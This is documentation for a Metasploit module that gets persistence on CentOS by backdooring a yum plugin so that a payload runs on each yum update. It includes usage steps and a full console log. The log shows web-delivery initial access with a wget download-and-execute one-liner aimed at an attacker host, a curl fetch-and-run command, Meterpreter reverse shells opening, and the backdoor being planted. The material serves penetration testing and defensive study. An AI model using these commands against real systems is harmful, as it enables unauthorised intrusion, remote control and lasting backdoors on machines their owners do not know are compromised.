Yum Package Manager - Metasploit Framework

Description

This module will run a payload when the package manager is used. This module modifies a yum plugin to launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/ will show what plugins are currently enabled on the system.

root persmissions are likely required.

Verified on Centos 7.1

Verification Steps

Exploit a box that uses Yum
use exploit/linux/persistence/yum_package_manager
set SESSION <id>
set PAYLOAD cmd/unix/reverse_python configure the payload as needed
exploit

When the system runs yum update the payload will launch. You must set handler accordingly.

Options

PAYLOAD_NAME

Name of backdoor executable

PLUGIN

Name of the yum plugin to target

PluginPath

Plugin path to use default is (/usr/lib/yum-plugins/)

Scenarios

Tested on Centos 7.1

Initial access vector via web delivery

resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4545 
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO KOiqZchh --no-check-certificate http://111.111.1.111:8181/l; chmod +x KOiqZchh; ./KOiqZchh& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > 
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.2.100
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 192.168.2.100:34470) at 2025-02-16 11:30:09 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/yum_package_manager 
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:2 Agents:2) exploit(linux/persistence/yum_package_manager) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/home/centos) > getuid
Server username: root
(Meterpreter 1)(/home/centos) > sysinfo
Computer     : centos71.localdomain
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.53.1.el7.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
(Meterpreter 1)(/home/centos) > background
[*] Backgrounding session 1...

Persistence

[msf](Jobs:1 Agents:1) exploit(linux/persistence/yum_package_manager) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/yum_package_manager) > exploit
[*] Command to run on remote host: curl -so ./lgtOaZox http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./lgtOaZox;./lgtOaZox&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/persistence/yum_package_manager) > 
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 111.111.1.111:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[+] Plugins are enabled!
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:53880) at 2025-02-16 11:30:59 -0500
[!] The service is running, but could not be validated. yum installed and plugin found, enabled, and backdoorable
[*] Attempting to modify plugin
[*] Backdoor uploaded to /tmp/7EtplboZD
[+] Backdoor will run on next Yum update
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/centos71.localdomain_20250216.3101/centos71.localdomain_20250216.3101.rc